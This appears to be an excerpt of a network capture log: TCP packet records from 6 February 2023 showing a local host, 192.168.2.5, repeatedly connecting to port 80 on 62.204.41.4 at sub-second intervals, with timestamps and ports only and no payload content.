Feb 6, 2023 14:18:34.882940054 CET	50081	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.884430885 CET	50082	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.945290089 CET	80	50081	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.945476055 CET	50081	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.946913004 CET	80	50082	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.947052956 CET	50082	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.947433949 CET	50082	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.010034084 CET	80	50082	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.014060974 CET	80	50082	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.014246941 CET	50082	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.124285936 CET	50082	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.125161886 CET	50083	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.185883045 CET	80	50083	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.185990095 CET	50083	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.186608076 CET	50083	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.186781883 CET	80	50082	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.186861038 CET	50082	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.247068882 CET	80	50083	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.253365040 CET	80	50083	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.253514051 CET	50083	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.373711109 CET	50083	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.374866962 CET	50084	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.434396029 CET	80	50083	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.434504986 CET	50083	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.434958935 CET	80	50084	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.435060024 CET	50084	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.437222958 CET	50084	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.509665012 CET	80	50084	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.509721041 CET	80	50084	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.509840012 CET	50084	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.616916895 CET	50084	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.617805958 CET	50085	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.677419901 CET	80	50084	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.677567959 CET	50084	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.678232908 CET	80	50085	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.678364992 CET	50085	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.682373047 CET	50085	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.742887020 CET	80	50085	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.746413946 CET	80	50085	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.746573925 CET	50085	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.851370096 CET	50085	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.852130890 CET	50086	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.912772894 CET	80	50085	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.912887096 CET	50085	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.913211107 CET	80	50086	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.913306952 CET	50086	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.914582014 CET	50086	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:35.976551056 CET	80	50086	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.980093002 CET	80	50086	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:35.980186939 CET	50086	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.085519075 CET	50086	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.086325884 CET	50087	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.146058083 CET	80	50086	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.146365881 CET	50086	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.147125959 CET	80	50087	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.147267103 CET	50087	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.155229092 CET	50087	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.215852976 CET	80	50087	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.220750093 CET	80	50087	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.220989943 CET	50087	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.340955019 CET	50087	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.341975927 CET	50088	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.401927948 CET	80	50087	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.401994944 CET	50087	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.403343916 CET	80	50088	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.403472900 CET	50088	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.403852940 CET	50088	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.504441977 CET	80	50088	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.504537106 CET	80	50088	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.504719019 CET	50088	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.620232105 CET	50088	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.621011972 CET	50089	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.681919098 CET	80	50088	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.682014942 CET	50088	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.682177067 CET	80	50089	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.682383060 CET	50089	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.683034897 CET	50089	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.744415045 CET	80	50089	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.748085976 CET	80	50089	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.750543118 CET	50089	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.867011070 CET	50089	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.867861032 CET	50090	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.930397034 CET	80	50090	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.930454016 CET	80	50089	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.930557966 CET	50089	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.931057930 CET	50090	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.931057930 CET	50090	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:36.991967916 CET	80	50090	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.995206118 CET	80	50090	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:36.996596098 CET	50090	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.101506948 CET	50090	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.102495909 CET	50091	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.162503958 CET	80	50090	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.162945032 CET	50090	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.164052010 CET	80	50091	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.164269924 CET	50091	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.165425062 CET	50091	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.226907969 CET	80	50091	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.233617067 CET	80	50091	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.233776093 CET	50091	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.336010933 CET	50091	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.336771011 CET	50092	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.396219015 CET	80	50092	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.396513939 CET	50092	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.397614002 CET	50092	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.397650957 CET	80	50091	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.397842884 CET	50091	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.457037926 CET	80	50092	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.461185932 CET	80	50092	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.464657068 CET	50092	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.585449934 CET	50092	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.586226940 CET	50093	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.645149946 CET	80	50092	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.645354986 CET	50092	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.647942066 CET	80	50093	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.648158073 CET	50093	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.648521900 CET	50093	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.710136890 CET	80	50093	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.713578939 CET	80	50093	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.713690996 CET	50093	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.820667028 CET	50093	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.821768999 CET	50094	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.882477045 CET	80	50093	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.882662058 CET	50093	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.883163929 CET	80	50094	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.883305073 CET	50094	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.890736103 CET	50094	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:37.952383041 CET	80	50094	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.956084013 CET	80	50094	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:37.956304073 CET	50094	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.070557117 CET	50094	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.071528912 CET	50095	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.132392883 CET	80	50094	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.132601023 CET	50094	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.132949114 CET	80	50095	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.133075953 CET	50095	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.133970976 CET	50095	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.208471060 CET	80	50095	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.208528996 CET	80	50095	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.208599091 CET	50095	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.323923111 CET	50095	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.331970930 CET	50096	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.385546923 CET	80	50095	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.385633945 CET	50095	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.393474102 CET	80	50096	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.393609047 CET	50096	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.394553900 CET	50096	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.455873966 CET	80	50096	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.459940910 CET	80	50096	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.460076094 CET	50096	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.569839001 CET	50096	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.570549965 CET	50097	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.631306887 CET	80	50096	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.631398916 CET	50096	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.631699085 CET	80	50097	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.631792068 CET	50097	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.635756969 CET	50097	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.697045088 CET	80	50097	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.701345921 CET	80	50097	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.701443911 CET	50097	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.807452917 CET	50097	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.808252096 CET	50098	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.868489027 CET	80	50098	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.868705034 CET	50098	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.869009972 CET	80	50097	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.869061947 CET	50098	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.869149923 CET	50097	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:38.929303885 CET	80	50098	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.933482885 CET	80	50098	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:38.933649063 CET	50098	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.038508892 CET	50098	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.039227009 CET	50099	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.098896027 CET	80	50098	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.099102020 CET	50098	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.099627972 CET	80	50099	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.099766016 CET	50099	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.101682901 CET	50099	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.162189007 CET	80	50099	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.167921066 CET	80	50099	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.168143988 CET	50099	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.273451090 CET	50099	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.274738073 CET	50100	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.334326029 CET	80	50099	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.334569931 CET	50099	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.335186958 CET	80	50100	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.335341930 CET	50100	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.335819006 CET	50100	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.396229982 CET	80	50100	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.400489092 CET	80	50100	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.400690079 CET	50100	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.520953894 CET	50100	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.521787882 CET	50101	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.581542015 CET	80	50100	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.581799030 CET	50100	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.584167004 CET	80	50101	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.584446907 CET	50101	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.586155891 CET	50101	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.648910046 CET	80	50101	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.652388096 CET	80	50101	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.652560949 CET	50101	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.764298916 CET	50101	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.764313936 CET	50102	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.826916933 CET	80	50102	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.826956987 CET	80	50101	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.827152967 CET	50101	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.827580929 CET	50102	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.827580929 CET	50102	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:39.890096903 CET	80	50102	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.894838095 CET	80	50102	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:39.895057917 CET	50102	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.008703947 CET	50102	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.010215044 CET	50103	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.078926086 CET	80	50102	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.078985929 CET	80	50103	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.079175949 CET	50103	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.079576015 CET	50103	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.087950945 CET	50102	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.144471884 CET	80	50103	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.146662951 CET	80	50103	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.146867037 CET	50103	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.262767076 CET	50103	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.263674974 CET	50104	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.325289965 CET	80	50103	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.325887918 CET	80	50104	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.326025963 CET	50103	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.327665091 CET	50104	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.328929901 CET	50104	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.391246080 CET	80	50104	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.394458055 CET	80	50104	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.396568060 CET	50104	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.511818886 CET	50104	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.512639999 CET	50105	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.573961973 CET	80	50105	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.574163914 CET	50105	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.574306965 CET	80	50104	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.574381113 CET	50104	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.574553013 CET	50105	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.635660887 CET	80	50105	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.639194012 CET	80	50105	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.639401913 CET	50105	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.741568089 CET	50105	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.742242098 CET	50106	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.802975893 CET	80	50106	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.803090096 CET	80	50105	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.803177118 CET	50106	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.803267002 CET	50105	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.803738117 CET	50106	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.864387035 CET	80	50106	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.869002104 CET	80	50106	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:40.869154930 CET	50106	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.977070093 CET	50107	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:40.977406979 CET	50106	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.036720037 CET	80	50107	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.036995888 CET	50107	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.038142920 CET	80	50106	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.038253069 CET	50106	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.040652037 CET	50107	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.100095034 CET	80	50107	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.106904030 CET	80	50107	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.107032061 CET	50107	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.211452007 CET	50107	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.212356091 CET	50108	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.270984888 CET	80	50107	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.271186113 CET	50107	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.273796082 CET	80	50108	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.273915052 CET	50108	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.274400949 CET	50108	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.335858107 CET	80	50108	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.340738058 CET	80	50108	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.341059923 CET	50108	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.445256948 CET	50108	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.446847916 CET	50109	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.506181955 CET	80	50109	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.506344080 CET	50109	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.506958961 CET	80	50108	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.507035971 CET	50108	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.581873894 CET	50109	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.641284943 CET	80	50109	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.645371914 CET	80	50109	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.645522118 CET	50109	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.757512093 CET	50109	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.758507967 CET	50110	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.817194939 CET	80	50109	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.819125891 CET	50109	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.819344997 CET	80	50110	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.819977999 CET	50110	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.820358038 CET	50110	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.881016016 CET	80	50110	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.886085033 CET	80	50110	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:41.889214993 CET	50110	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.992749929 CET	50110	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:41.993490934 CET	50111	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.053843021 CET	80	50110	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.053884983 CET	80	50111	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.054022074 CET	50110	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.054069042 CET	50111	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.055399895 CET	50111	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.115937948 CET	80	50111	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.125121117 CET	80	50111	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.131000996 CET	50111	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.242788076 CET	50111	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.243660927 CET	50112	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.303467035 CET	80	50111	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.303575039 CET	50111	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.306045055 CET	80	50112	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.306162119 CET	50112	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.306782961 CET	50112	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.369354010 CET	80	50112	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.372473955 CET	80	50112	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.373003006 CET	50112	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.483349085 CET	50112	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.484044075 CET	50113	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.544871092 CET	80	50113	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.545037031 CET	50113	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.545396090 CET	50113	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.545895100 CET	80	50112	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.546842098 CET	50112	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.605846882 CET	80	50113	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.608891010 CET	80	50113	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.609098911 CET	50113	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.727221966 CET	50113	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.727907896 CET	50114	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.788127899 CET	80	50113	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.788296938 CET	50113	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.789377928 CET	80	50114	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.789524078 CET	50114	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.789843082 CET	50114	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.851237059 CET	80	50114	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.853933096 CET	80	50114	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:42.854072094 CET	50114	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.981673956 CET	50114	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:42.981951952 CET	50115	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.043324947 CET	80	50114	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.043514013 CET	50114	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.043572903 CET	80	50115	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.043672085 CET	50115	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.044125080 CET	50115	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:43.105796099 CET	80	50115	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.110388994 CET	80	50115	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:43.110590935 CET	50115	80	192.168.2.5	62.204.41.4
